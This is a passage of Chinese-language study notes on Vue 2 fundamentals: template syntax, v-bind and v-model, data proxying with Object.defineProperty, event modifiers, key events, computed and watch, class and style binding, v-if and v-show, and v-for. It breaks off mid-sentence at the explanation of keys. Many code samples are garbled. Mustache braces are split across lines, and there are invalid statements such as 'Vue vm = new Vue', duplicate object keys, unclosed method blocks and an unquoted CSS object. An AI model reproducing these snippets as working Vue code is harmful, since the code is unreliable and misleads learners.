Vue基础：万字笔记，精华总结

本篇涉及Vue的基础使用

Vue组件化编程请看 Vue进阶：组件化编程（脚手架） - 万字总结精华整理

文章目录

一、Vue介绍

动态构建用户界面的渐进式 JavaScript 框架
作者: 尤雨溪

二、基础引入

2.1 基本使用

<div id="root" class="demo">
    {
    
    {
    
    name}}  
    {
    
    {
    
    age}}
</div>	
<script type="text/javascript" >
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示
	new Vue({
    
    
		//el:'.demo'
		el:'#root',
		data:{
    
    
			name: '做一只猫',
			age: 20
	    }
	})
</script>

2.2 模板语法

Vue模板语法有2大类：

1. 插值语法：
功能：用于解析标签体内容
写法：{ {xxx}}，xxx是js表达式，且可以直接读取到data中的所有属性
2. 指令语法：
功能：用于解析标签（包括：标签属性、标签体内容、绑定事件…）
举例：v-bind:href=“xxx” 或简写为 :href=“xxx”，xxx同样要写js表达式，且可以直接读取到data中的所有属性
备注：Vue中有很多的指令，且形式都是：v-???，此处我们只是拿v-bind举个例子

2.3 Vue数据绑定

Vue中有2种数据绑定的方式：

单向绑定(v-bind)：数据只能从data流向页面
双向绑定(v-model)：数据不仅能从data流向页面，还可以从页面流向data

备注：

双向绑定一般都应用在表单类元素上（如：input、select等）
v-model:value 可以简写为 v-model，因为v-model默认收集的就是value值
v-model只能应用在表单类元素（输入类元素）
表单类元素，是用户可以操作的，标题类的标签，不可以输入（没有Value值），不能捕获用户的输入，无法影响数据的变化

<!-- 准备好一个容器-->
<div id="root">
	<!-- 普通写法 -->
	<!-- 单向数据绑定：<input type="text" v-bind:value="name"><br/>
	双向数据绑定：<input type="text" v-model:value="name"><br/> -->

	<!-- 简写 -->
	单向数据绑定：<input type="text" :value="name"><br/>
	双向数据绑定：<input type="text" v-model="name"><br/>

	<!-- 如下代码是错误的，因为v-model只能应用在表单类元素（输入类元素）上 -->
	<!-- <h2 v-model:x="name">你好啊</h2> -->
</div>
<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
    
    
		el:'#root',
		data:{
    
    
			name:'Tom'
		}
	})
</script>

2.4 el和data的两种写法

1.el有2种写法
(1) new Vue时候配置el属性
(2) 先创建Vue实例，随后再通过vm.$mount(‘#root’)指定el的值

//第一种写法
new Vue({
    
    
	el:'#root', 
	data:{
    
    
		name:'Tom'
	}
})
//第二种写法
Vue vm = new Vue({
    
    
	el:'#root', 
	data:{
    
    
		name:'Tom'
	}
})
console.log(v)		 	// 输出Vue实例，不是Vue构造函数
vm.$mount('#root')
// 定时器，一秒钟后执行
setTimeout(() => {
    
    
	vm.$mount('#root')
},1000);

2.data有2种写法
(1) 对象式
(2) 函数式（要求：data函数必须要返回一个对象return）

//(1) 对象式
new Vue({
    
    
	el:'#root',
	//data的第一种写法：对象式
	 data:{
    
    
		name:'Tom'
	} 
})

//(2) 函数式
new Vue({
    
    
	el:'#root',
	//data的第二种写法：函数式
	//不能是箭头函数，否则this指向windows
	data:function(){
    
    
		console.log('@@@',this) //data函数中 this是Vue实例对象,前提data是普通函数
		return{
    
    
			name:'Tom'
		}
	}
	//简写
	data(){
    
    
		console.log('@@@',this) //data函数中 this是Vue实例对象,前提data是普通函数
		return{
    
    
			name:'Tom'
		}
	}
})

如何选择：目前哪种写法都可以，以后学习到组件时，data必须使用函数式，否则会报错

3. 一个重要的原则：
由Vue管理的函数，一定不要写箭头函数，一旦写了箭头函数，this就不再是Vue实例了

Vue实例

在这里插入图片描述

2.5 MVVM模型

MVVM模型

M：模型(Model) ：data中的数据
V：视图(View) ：模板代码
VM：视图模型(ViewModel)：Vue实例

观察发现：

data中所有的属性，最后都出现在了vm身上
vm身上所有的属性及 Vue原型上所有属性，在Vue模板中都可以直接使用

MVVM源自于经典的MVC（Model-View-Controller）模式
MVVM的核心是ViewModel层，负责转换Model中的数据对象来让数据变得更容易管理和使用
MVVM模式和MVC模式一样，主要目的是分离视图（View）和模型（Model），有几大好处：
1. 低耦合：视图（View）可以独立于Model变化和修改，一个ViewModel可以绑定到不同的View上，当View变化的时候Model可以不变，当Model变化的时候View也可以不变
2. 可复用：你可以把一些视图逻辑放在一个Vi ewModel里面，让很多View重用这段视图逻辑
3. 独立开发：开发人员可以专注于业务逻辑和数据的开发（ViewMode），设计人员可以专注于页面设计
4. 可测试：界面素来是比较难以测试的，而现在测试可以针对ViewModel来写
View 层展现的不是 Model 层的数据，而是 ViewModel 的数据，由 ViewModel 负责与 Model层交互，获取和更新数据，这就完全解耦了View层和Model层，这个解耦是至关重要的，它是前后端分离方案实施的重要一环
在MVVM架构中，是不允许数据和视图直接通信的，只能通过ViewModel来通信，而View Model就是定义了一个Observer观察者
ViewModel能够观察到数据的变化，并对视图对应的内容进行更新
ViewModel能够监听到视图的变化，并能够通知数据发生改变
至此，我们就明白了， Vue.js就是一个MVVM的实现者，他的核心就是实现了DOM监听与数据绑定

2.6 数据代理

2.6.1 Object.defineProperty

<script type="text/javascript" >
let person = {
    
    
  	name:'张三',
  	sex:'男',
  	// age: '18',
  }
//定义person对象的age属性
Object.defineProperty(person,'age',{
    
    
  	// value:18,
  	// enumerable:true, 		//控制属性是否可以枚举，默认值是false
  	// writable:true,	 		//控制属性是否可以被修改，默认值是false
  	// configurable:true 		//控制属性是否可以被删除，默认值是false
})
</script>

2.6.2 get()和set()

<script type="text/javascript" >
   let number = 18
   let person = {
    
    
   	name:'张三',
   	sex:'男',
}

Object.defineProperty(person,'age',{
    
    
   	// value:18,
   	// enumerable:true, //控制属性是否可以枚举，默认值是false
   	// writable:true, //控制属性是否可以被修改，默认值是false
   	// configurable:true //控制属性是否可以被删除，默认值是false

   // 当有人读取person的age属性时，get函数(getter)就会被调用，且返回值就是age的值
   		get(){
    
    
   			console.log('有人读取age属性了')
   			return number
   		},
   	
   		// 当有人修改person的age属性时，set函数(setter)就会被调用，且会收到修改的具体值
   		set(value){
    
    
   			console.log('有人修改了age属性，且值是',value)
   			number = value
   		}
})

   		// Object.keys() 传入一个对象做为参数,可以把传入的属性名，提取出来作为一个数组
   		// console.log(Object.keys(person))

   		console.log(person)
</script>

2.6.3 数据代理的定义

通过一个对象代理对另一个对象中属性的操作（读/写）

<script type="text/javascript" >
   let obj = {
    
    x:100}
   let obj2 = {
    
    y:200}
//通过obj2对象控制obj.x的读写
   Object.defineProperty(obj2,'x',{
    
    
   	get(){
    
    
   		return obj.x
   	},
   	set(value){
    
    
   		obj.x = value
   	}
   })
</script>

在这里插入图片描述

总结：```
1. Vue中的数据代理：
通过vm对象来代理data对象中属性的操作（读/写）
2.Vue中数据代理的好处：
更加方便的操作data中的数据
3.基本原理：

通过Object.defineProperty()把data对象中所有属性添加到vm上。
为每一个添加到vm上的属性，都指定一个getter/setter
在getter/setter内部去操作（读/写）data中对应的属性

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	const vm = new Vue({
    
    
		el:'#root',
		data:{
    
    
			name:'尚硅谷',
			address:'宏福科技园'
		}
	})
</script>

在这里插入图片描述

三、事件处理

3.1 事件基本使用

事件的基本使用：

使用v-on:xxx 或 @xxx 绑定事件，其中xxx是事件名；
事件的回调需要配置在methods对象中，最终会在vm上；
Q：放在data中也可以存放在vm上，为什么不一起放在data上?
A：因为data中的数据需要做数据代理，而methods不需要做数据代理，这样会让vm实例过度使用
methods中配置的函数，不要用箭头函数！否则this就不是vm了；
methods中配置的函数，都是被Vue所管理的函数，this的指向是vm 或组件实例对象；
@click=“demo” 和 @click=“demo($event)” 效果一致，但后者可以传参；

<div id="root">
	<h2>欢迎来到{
    
    {
    
    name}}学习</h2>
	<button v-on:click="showInfo">点我提示信息</button>
	//$event为占位符
	<button @click="showInfo2($event,66)">点我提示信息2（传参）</button>
</div>
<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	const vm = new Vue({
    
    
		el:'#root',
		data:{
    
    
			name:'Tom',
		},
		methods:{
    
    
			//1 不传参
			showInfo1(event){
    
    
				alert('同学你好！')
			//2 传参
			showInfo1(event){
    
    
				console.log(event.target.innerText)
				alert('同学你好！')
			},
			//3 传参和事件
			showInfo2(event,number){
    
    
					console.log(event,number)
					// console.log(event.target.innerText)
					// console.log(this) //此处的this是vm
					alert('同学你好！！')
				}
})
</script>

3.2 事件修饰符

Vue中的事件修饰符：

prevent：阻止默认事件（常用）；
stop：阻止事件冒泡（常用）；
once：事件只触发一次（常用）；
capture：使用事件的捕获模式；
self：只有event.target是当前操作的元素时才触发事件；
passive：事件的默认行为立即执行，无需等待事件回调执行完毕；

① a标签跳转阻止跳转的默认行为

<a href="https://blog.csdn.net/gh_xiaohe" @click.prevent="showInfo">点我提示信息</a>

② 阻止冒泡点击的是按钮冒泡到div身上

<div id="root">
	<h2>欢迎来到{
    
    {
    
    name}}学习</h2>
   <!-- 阻止事件冒泡（常用） -->
	<div class="demo1" @click="showInfo">
		<button @click.stop="showInfo">点我提示信息</button>
	</div>
</div>

③ 事件只触发一次

<!-- 事件只触发一次（常用） -->
<button @click.once="showInfo">点我提示信息</button>

④ 使用事件的捕获模式
事件是先捕获再冒泡
不加：在冒泡阶段执行代码
加：在捕获阶段执行代码

<div id="root">
	<h2>欢迎来到{
    
    {
    
    name}}学习</h2>
	
	<!-- 使用事件的捕获模式 -->
	<div class="box1" @click.capture="showMsg(1)">
			div1
		<div class="box2" @click="showMsg(2)">
			div2
		</div>
	</div>
</div>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	
	new Vue({
    
    
		el:'#root',
		data:{
    
    
			name:'Tom'
		},
		methods:{
    
    
			showMsg(msg){
    
    
				console.log(msg)
			},
	})
</script>

⑤ self：只有event.target是当前操作的元素时才触发事件；

<div id="root">
	<h2>欢迎来到{
    
    {
    
    name}}学习</h2>

	<!-- 只有event.target是当前操作的元素时才触发事件； -->
	<div class="demo1" @click.self="showInfo">
		<button @click="showInfo">点我提示信息</button>
	</div>

</div>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
    
    
		el:'#root',
		data:{
    
    
			name:'Tom'
		},
		methods:{
    
    
			showInfo(e){
    
    
				// e.preventDefault()// 阻止默认行为  Vue中不用亲自书写
             alert('同学您好！')
			},
	})
</script>

⑥ passive：事件的默认行为立即执行，无需等待事件回调执行完毕；

wheel 鼠标滚轮事件，加上大数字的循环，本来是要等循环事件结束之后，才会执行滚轮事件，但是加上passive后就能在循环事件的同时执行滚轮事件

	<script type="text/javascript" src="../js/vue.js"></script>
	<style>
		*{
    
    
			margin-top: 20px;
		}
		.list{
    
    
			width: 200px;
			height: 200px;
			background-color: peru;
			overflow: auto;
		}
		li{
    
    
			height: 100px;
		}
	</style>
</head>
<body>

	<div id="root">
		<h2>欢迎来到{
    
    {
    
    name}}学习</h2>


		<!-- 事件的默认行为立即执行，无需等待事件回调执行完毕； -->
		<ul @wheel.passive="demo" class="list">
			<li>1</li>
			<li>2</li>
			<li>3</li>
			<li>4</li>
		</ul>

	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
    
    
		el:'#root',
		data:{
    
    
			name:'Tom'
		},
		methods:{
    
    
			demo(){
    
    
				for (let i = 0; i < 100000; i++) {
    
    
					console.log('#')
				}
				console.log('累坏了')
			}
	})
</script>

⑦ 修饰符可以连续使用，用多个点连接
如：先阻止默认行为再阻止冒泡

<div class="demo1" @click="showInfo">
	<!-- 修饰符可以连续写 -->
	<a href="https://blog.csdn.net/gh_xiaohe" @click.prevent.stop="showInfo">点我提示信息</a>
</div>

3.3 键盘事件

Vue中常用的按键别名：
回车 => enter
删除 => delete (捕获“删除”和“退格”键)
退出 => esc
空格 => space
换行 => tab (特殊，必须配合keydown去使用)
上 => up
下 => down
左 => left
右 => right
Vue未提供别名的按键，可以使用按键原始的key值去绑定，但注意要转为kebab-case（短横线命名）
系统修饰键（用法特殊）：ctrl、alt、shift、win
(1) 配合keyup使用：按下修饰键的同时，再按下其他键，随后释放其他键，事件才被触发。
(2) 配合keydown使用：正常触发事件。
也可以使用keyCode去指定具体的按键（不推荐）
Vue.config.keyCodes.自定义键名 = 键码，可以去定制按键别名（不推荐）

keyup 按下弹起来触发（常用）
keydoun 按下触发

判断回车 event.keycode 按键编码（key 按键）回车对应数字 13

if（e.keyCode !== 13） return Vue 中 @keyup.enter=“”

<div id="root">
		<h2>欢迎来到{
    
    {
    
    name}}学习</h2>
		//1 按下回车
		<input type="text" placeholder="按下回车提示输入" @keydown.enter="showInfo">
		//2 使用 CapsLock 切换大小写按键 多个单词使用 caps-lock
		//3 有些特殊的按键，无法绑定，举例：特殊键盘的控制音量键	</div>
		//4 top 键有些特殊 是失去焦点事件 只能配合keydown使用
		//5 可以使用keyCode去指定具体的按键（不推荐）不同的键盘编码可能不统一
		<input type="text" placeholder="按下回车提示输入" @keyup.13="showInfo">
		
		//6 Vue.config.keyCodes.自定义键名 = 键码，可以去定制按键别名 （不推荐）
		<input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo">
		
		//7 只用按ctrl + y 时才有效(系统修饰键 后面可以 加 按键)
		<input type="text" placeholder="按下回车提示输入" @keydown.ctrl.y="showInfo">
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	Vue.config.keyCodes.huiche = 13 //定义了一个别名按键

	new Vue({
    
    
		el:'#root',
		data:{
    
    
			name:'Tom'
		},
		methods: {
    
    
			showInfo(e){
    
    
				//console.log(e.key,e.keyCode) 	获取 按键 名 和 按键 编码
				console.log(e.target.value)
			}
		},
	})
</script>

3.4 计算属性 computed

姓名案例
1. 插值语法实现

<div id="root">
   姓：<input type="text" v-model="firstName"> <br/><br/>
   名：<input type="text" v-model="lastName"> <br/><br/>
   全名：<span>{
    
    {
    
    firstName}}-{
    
    {
    
    lastName}}</span>
</div>
<script type="text/javascript">
   Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

   new Vue({
    
    
   	el:'#root',
   	data:{
    
    
   		firstName:'张',
   		lastName:'三'
   	}
   })
</script>

2.methods实现
数据发生改变Vue一定会重写解析模板，并更新数据

<div id="root">
	姓：<input type="text" v-model="firstName"> <br/><br/>
	名：<input type="text" v-model="lastName"> <br/><br/>
	全名：<span>{
    
    {
    
    fullName()}}</span>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

new Vue({
    
    
	el:'#root',
	data:{
    
    
		firstName:'张',
		lastName:'三'
	},
	methods: {
    
    
		fullName(){
    
    
			console.log('@---fullName')
			return this.firstName + '-' + this.lastName
		}
	},
})
</script>

3.计算属性实现

计算属性：

定义：要用的属性不存在，要通过已有属性计算得来
原理：底层借助了Objcet.defineproperty方法提供的getter和setter
get函数什么时候执行？
(1) 初次读取时会执行一次。
(2) 当依赖的数据发生改变时会被再次调用。
优势：与methods实现相比，内部有缓存机制（复用），效率更高，调试方便
备注：
- 计算属性最终会出现在vm上，直接读取使用即可。
- 如果计算属性要被修改，那必须写set函数去响应修改，且set中要引起计算时依赖的数据发生改变

<div id="root">
	姓：<input type="text" v-model="firstName"> <br/><br/>
	名：<input type="text" v-model="lastName"> <br/><br/>
	全名：<span>{
    
    {
    
    fullName}}</span> <br/><br/>
</div>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	const vm = new Vue({
    
    
		el:'#root',
		data:{
    
    
			firstName:'张',
			lastName:'三'
		},
		methods: {
    
    
		},
		computed:{
    
    
			fullName:{
    
     
				// 计算过程配置成一个对象,里面要放到有一个get()
				// get有什么作用？当有人读取fullName时，get就会被调用，且返回值就作为fullName的值
				// get什么时候调用？
				// 1. 初次读取fullName时
				// 2. 所依赖的数据发生变化时
				get(){
    
    
					console.log('get被调用了')
					// console.log(this) //此处的this是vm
					return this.firstName + '-' + this.lastName
				},

				// set 不是必须写的, 如果确定数据只读,就可以不用书写set 
				// set什么时候调用? 当fullName被修改时。
				set(value){
    
    
					console.log('set',value)
					// 张 - 三
					const arr = value.split('-')
					this.firstName = arr[0]
					this.lastName = arr[1]
				}
			}
		}
	})
</script>

3.计算属性简写(只读时可以使用)
计算属性更多的情况是不修改，呈现给用户看：

computed:{
    
    
	//完整写法
	 fullName:{
    
    
		get(){
    
    
			console.log('get被调用了')
			return this.firstName + '-' + this.lastName
		},
		set(value){
    
    
			console.log('set',value)
			const arr = value.split('-')
			this.firstName = arr[0]
			this.lastName = arr[1]
		}
	} 
}

computed:{
    
    
	//简写
	fullName(){
    
    
		console.log('get被调用了')
		return this.firstName + '-' + this.lastName
	}
}

四、监视属性（侦听属性） watch

immediate:true, //初始化时让handler调用一下
deep:true //深度监视

4.1 天气案例（没用到监视属性）

<div id="root">
	<h2>今天天气很{
    
    {
    
    info}}</h2>
	<!-- 绑定事件的时候：@xxx="yyy" yyy可以写一些简单的语句 -->
	<!-- <button @click="isHot = !isHot">切换天气</button> -->
	<button @click="changeWeather">切换天气</button>
</div>
<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	const vm = new Vue({
    
    
		el:'#root',
		data:{
    
    
			isHot:true,
		},
		computed:{
    
    
			info(){
    
    
				return this.isHot ? '炎热' : '凉爽'
			}
		},
		methods: {
    
    
			changeWeather(){
    
    
				this.isHot = !this.isHot
			}
		},
	})
</script>

4.2 监视属性watch（也可以监视计算属性）

当被监视的属性变化时, 回调函数handler自动调用, 进行相关操作
handler 有两个参数 newValue,oldValue 可选
监视的属性必须存在，才能进行监视！！
监视的两种写法：
(1) new Vue时传入watch配置
(2) 通过vm.$watch监视

//(1) new Vue时传入watch配置
<div id="root">
	<h2>今天天气很{
    
    {
    
    info}}</h2>
	<button @click="changeWeather">切换天气</button>
</div>
<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	const vm = new Vue({
    
    
		el:'#root',
		data:{
    
    
			isHot:true,
		},
		computed:{
    
    
			info(){
    
    
				return this.isHot ? '炎热' : '凉爽'
			}
		},
		methods: {
    
    
			changeWeather(){
    
    
				this.isHot = !this.isHot
			}
		},
		 watch:{
    
    
			isHot:{
    
    
				immediate:true, // 初始化时让handler调用一下
				// handler什么时候调用？当isHot发生改变时。
				handler(newValue,oldValue){
    
     // 参数：newValue,oldValue 可以查看监视前的数值,和修改后的数值
					console.log('isHot被修改了',newValue,oldValue)
				}
			}
		} 
	})
	
	//(2) 通过vm.$watch监视
	// 创建完实例后  第一次参数 'isHot'：要监视的对象 , 第二个参数 配置对象 （同上）
 	// 二者的区别：在创建时就明确监视对象方式一、不明确时方式二    
		vm.$watch('isHot',{
    
    
			immediate:true, // 初始化时让handler调用一下
			// handler什么时候调用？当isHot发生改变时。
			handler(newValue,oldValue){
    
    
				console.log('isHot被修改了',newValue,oldValue)
			}
		})
</script>

4.3 深度监视

深度监视：
(1) Vue中的watch默认不监测对象内部值的改变（一层）
(2) 配置deep:true可以监测对象内部值改变（多层）
备注：
(1) Vue自身可以监测对象内部值的改变，但Vue提供的watch默认不可以
(2) 使用watch时根据数据的具体结构，决定是否采用深度监视（为了效率）

① 只监测a的变化不监测b
numbers.a会报错，应还原为最初的写法 ‘numbers .a’ , 正常的key 都是 ’ key ’ 简写 key 多个属性时 ‘key.s’ 误区

<div id="root">
	<h2>今天天气很{
    
    {
    
    info}}</h2>
	<button @click="changeWeather">切换天气</button>
	<hr/>
	<h3>a的值是:{
    
    {
    
    numbers.a}}</h3>
	<button @click="numbers.a++">点我让a+1</button>
</div>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	const vm = new Vue({
    
    
		el:'#root',
		data:{
    
    
			isHot:true,
			numbers:{
    
    
				a:1,
				b:1,
			}
		},
		computed:{
    
    
			info(){
    
    
				return this.isHot ? '炎热' : '凉爽'
			}
		},
		methods: {
    
    
			changeWeather(){
    
    
				this.isHot = !this.isHot
			}
		},
		watch:{
    
    
				// 监视多级结构中某个属性的变化
			'numbers.a':{
    
    
				handler(){
    
    
					console.log('a被改变了')
				}
			},
	}
</script>

② 监视 a 和 b的变化（即监视整个number） 配置项 deep:true 开启深度监测

	methods: {
    
    
	changeWeather(){
    
    
			this.isHot = !this.isHot
		}
	},
	//监视多级结构中所有属性的变化
	numbers:{
    
    
		//配置deep
		deep:true,
		handler(){
    
    
			console.log('numbers改变了')
		}
	}
}
})

4.4 监视属性简写

要求：不需要配置项时，可以使用简写

① watch 方式一的正常写法

watch:{
    
    
   //正常写法
   isHot:{
    
    
   	handler(newValue,oldValue){
    
    
   		console.log('isHot被修改了',newValue,oldValue)
   	}
   }, 

}

② watch 方式一的简写不允许书写成箭头函数

watch:{
    
    
	//简写
	isHot(newValue,oldValue){
    
    
		console.log('isHot被修改了',newValue,oldValue,this)
	} 
}

③ watch 方式二的正常写法

		//正常写法
vm.$watch('isHot',{
    
    
	handler(newValue,oldValue){
    
    
		console.log('isHot被修改了',newValue,oldValue)
	}
})

④ watch 方式二的简写不允许书写成箭头函数

//简写
vm.$watch('isHot',function(newValue,oldValue){
    
    
	console.log('isHot被修改了',newValue,oldValue,this)
})

4.5 watch 和 computed的区别

computed和watch之间的区别

computed能完成的功能，watch都可以完成
watch能完成的功能，computed不一定能完成，例如：watch可以进行异步操作

两个重要的小原则

所被Vue管理的函数，最好写成普通函数，这样this的指向才是vm 或组件实例对象
所有不被Vue所管理的函数（定时器的回调函数、ajax的回调函数等、Promise的回调函数（成功失败的回调）），最好写成箭头函数，
这样this的指向才是vm 或组件实例对象

① watch实现天气案例

<div id="root">
	姓：<input type="text" v-model="firstName"> <br/><br/>
	名：<input type="text" v-model="lastName"> <br/><br/>
	全名：<span>{
    
    {
    
    fullName}}</span> <br/><br/>
</div>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	const vm = new Vue({
    
    
		el:'#root',
		data:{
    
    
			firstName:'张',
			lastName:'三',
			fullName:'张-三'
		},
		watch:{
    
    
			firstName(newValue){
    
    
				console.log(this)
				this.fullName = newValue + '-' + this.lastName
			},
			lastName(newValue){
    
    
				this.fullName = this.firstName + '-' + newValue
			}
		}
	})
</script>>

② 需要在姓名改变时，延迟1s后实现才改变全名，只能使用watch
定时器 setTimeout 所指定的函数不是 Vue 所管理的函数，要写成箭头函数

watch:{
    
    
	firstName(newValue){
    
    
		setTimeout(()=>{
    
     // 定时器,延迟器  
			console.log(this)
			this.fullName = newValue + '-' + this.lastName
		},1000);
	},
	lastName(newValue){
    
    
		this.fullName = this.firstName + '-' + newValue
	}
}

③ computed计算属性不能开启异步任务
因为其实现靠的是return 返回值，此时把renturn的返回值返回给了 setTimeout，则fullName没有返回值

computed:{
    
    
	 fullName:{
    
    
		setTimeout(()=>{
    
    
			console.log('get被调用了')
			return this.firstName + '-' + this.lastName
		},1000)
	} 
}

五、class和style绑定（绑定样式）

绑定样式：

class样式

写法：class=“xxx” xxx可以是字符串、对象、数组
字符串写法适用于：类名不确定，要动态获取
对象写法适用于：要绑定多个样式，个数不确定，名字也不确定
数组写法适用于：要绑定多个样式，个数确定，名字也确定，但不确定用不用

style样式

:style="{fontSize: xxx}" 其中xxx是动态值
:style="[a,b]" 其中a、b是样式对象
样式对象的 key 是固定的，不能瞎写，如：red

5.1 class绑定

基本使用

<div id="root">
	<!-- 绑定class样式--字符串写法，适用于：样式的类名不确定，需要动态指定 -->
	<div class="basic" :class="mood" @click="changeMood">{
    
    {
    
    name}}</div> <br/><br/>
</div>

<script type="text/javascript">
	Vue.config.productionTip = false

	const vm = new Vue({
    
    
		el:'#root',
		data:{
    
    
			name:'Tom',
			mood:'normal',
		},
		methods: {
    
    
			changeMood(){
    
    
				this.mood = 'happy'
			}
		},
	})
</script>

数组写法
div 初始有 basic 样式，日后可能增加样式多少个不确定

<div class="basic" :class="classArr">{
    
    {
    
    name}}</div> <br/><br/>
const vm = new Vue({
    
    
	el:'#root',
	data:{
    
    
		name:'Tom',
		mood:'normal',
            classArr:['text1','text2','text3'],
	},
})

对象写法
div 初始有 basic 样式切换text1 和 text2 （切换的个数确定，名字也确定，不确定的是到底使用不使用）

<div class="basic" :class="classObj">{
    
    {
    
    name}}</div> <br/><br/>
const vm = new Vue({
    
    
	el:'#root',
	data:{
    
    
        classObj:{
    
    
			text1:false,
			text2:false,
		},
	},
})

5.2 绑定style样式

① 常规写法

<div id="root">
   <!-- 绑定style样式--对象写法 -->
   <div class="basic" :style="styleObj">{
    
    {
    
    name}}</div> <br/><br/>
</div>

<script type="text/javascript">
   Vue.config.productionTip = false

   const vm = new Vue({
    
    
   	el:'#root',
   	data:{
    
    
            sytleObj:{
    
    
   			height: 100px;
   			weight: 100px;
   		},
   	},
   })
</script>

数组写法（很少用）

<div id="root">

	<!-- 绑定style样式--数组写法 -->
	// 方法1 两个对象用数组引用
	<div class="basic" :style="[styleObj,styleObj2]">{
    
    {
    
    name}}</div>
	// 方法2 在定义时就将两个对象定义为一个数组
	 <div class="basic" :style="[styleArr]">{
    
    {
    
    name}}</div>

</div>

<script type="text/javascript">
	Vue.config.productionTip = false

	const vm = new Vue({
    
    
		el:'#root',
		data:{
    
    
			// 方法1
             styleObj:{
    
    
				fontSize: '40px',
				color:'red',
			},
             styleObj2:{
    
    
				backgroundColor:'orange' // 背景颜色
			},
			// 方法2
			styleArr:[
					{
    
    
						fontSize: '40px',
						color:'blue',
					},
					{
    
    
						backgroundColor:'gray'
					}
				]
		},
	})
</script>

六、条件渲染

条件渲染：

v-show

写法：v-show=“表达式”
适用于：切换频率较高的场景。
特点：不展示的DOM元素未被移除，仅仅是使用样式隐藏掉

v-if

写法：
(1) v-if=“表达式”
(2) v-else-if=“表达式”
(3) v-else=“表达式”
适用于：切换频率较低的场景
特点：不展示的DOM元素直接被移除
注意：v-if可以和:v-else-if、v-else一起使用，但要求结构不能被“打断”。

备注：使用v-if的时，元素可能无法获取到，而使用v-show一定可以获取到

① 让div 隐藏 v-show

不仅可以可以写 boolean 值 v-show=“false”
也可以写表达式用表达式的结果来进行判断 v-show=“1 === 1”
此时结构存在但是不显示

<div id="root">
	<!-- 使用v-show做条件渲染 -->
	<h2 v-show="false">欢迎来到{
    
    {
    
    name}}</h2>
	<h2 v-show="1 === 1">欢迎来到{
    
    {
    
    name}}</h2>
</div>
<script type="text/javascript">
	Vue.config.productionTip = false

	const vm = new Vue({
    
    
		el:'#root',
		data:{
    
    
			name:'Tom',
			n:0
		}
	})
</script>

② 使用 v-if进行条件渲染

<div id="root">
	<!-- 使用v-if做条件渲染 -->
	<h2 v-if="false">欢迎来到{
    
    {
    
    name}}</h2>
	<h2 v-if="1 === 1">欢迎来到{
    
    {
    
    name}}</h2>
	<!-- v-else和v-else-if -->
	<div v-if="n === 1">Angular</div>
	<div v-else-if="n === 2">React</div>
	<div v-else-if="n === 3">Vue</div>
	<div v-else>哈哈</div>
</div>

③ v-if与template的配合使用

<template v-if="n === 1">	
	<h2>你好</h2>
	<h2>Tom</h2>
	<h2>北京</h2>
</template>

七、列表渲染

v-for指令:

用于展示列表数据
语法：v-for=“(item, index) in xxx” :key=“yyy”
可遍历：数组、对象、字符串（用的很少）、指定次数（用的很少）

7.1遍历数组

① 接受一个参数

<div id="root">
	<!-- 遍历数组 -->
	<ul>
		<li v-for="p in persons" :key="p.id">
			{
    
    {
    
    p.name}}-{
    
    {
    
    p.age}}
		</li>
	</ul>
</div>
<script type="text/javascript">
	Vue.config.productionTip = false

	new Vue({
    
    
		el:'#root',
		data:{
    
    
			persons:[
				{
    
    id:'001',name:'张三',age:18},
				{
    
    id:'002',name:'李四',age:19},
				{
    
    id:'003',name:'王五',age:20}
			],
		}
	})
</script>

② 接受两个参数

<!-- 遍历数组 -->
<h2>人员列表（遍历数组）</h2>
<ul>
	<li v-for="(p,index) in persons" :key="index">
		{
    
    {
    
    p.name}}-{
    
    {
    
    p.age}}
	</li>
</ul>

7.2 遍历对象

<div id="root">
   	<!-- 遍历字符串 -->
   	<h2>测试遍历字符串（用得少）</h2>
   	<ul>
   		<li v-for="(char,index) in str" :key="index">
   			{
    
    {
    
    char}}-{
    
    {
    
    index}}
   		</li>
   	</ul>
</div>

   new Vue({
    
    
   	el:'#root',
   	data:{
    
    
   			car:{
    
    
   				name:'奥迪A8',
   				price:'70万',
   				color:'黑色'
   			},
   	}
   })

7.3 遍历字符串（用得少）

<div id="root">
   	<!-- 遍历字符串 -->
   	<h2>测试遍历字符串（用得少）</h2>
   	<ul>
   		<li v-for="(char,index) in str" :key="index">
   			{
    
    {
    
    char}}-{
    
    {
    
    index}}
   		</li>
   	</ul>
</div>

   new Vue({
    
    
   	el:'#root',
   	data:{
    
    
   		str:'hello'
   	}
   })

7.4 遍历指定次数（使用少）

<!-- 遍历指定次数 -->
<h2>测试遍历指定次数（用得少）</h2>
<ul>
   <li v-for="(number,index) in 5" :key="index">
   	{
    
    {
    
    index}}-{
    
    {
    
    number}}
   </li>
</ul>

7.5 key的原理

面试题：react、vue中的key有什么作用？（key的内部原理）

虚拟DOM中key的作用：
key是虚拟DOM对象的标识，当数据发生变化时，Vue会根据【新数据】生成【新的虚拟DOM】,
随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较，比较规则如下：
diff算法对比规则：
(1)旧虚拟DOM中找到了与新虚拟DOM相同的key：
- 若虚拟DOM中内容没变, 直接使用之前的真实DOM
- 若虚拟DOM中内容变了, 则生成新的真实DOM，随后替换掉页面中之前的真实DOM。
(2) 旧虚拟DOM中未找到与新虚拟DOM相同的key
创建新的真实DOM，随后渲染到到页面
用index作为key可能会引发的问题：
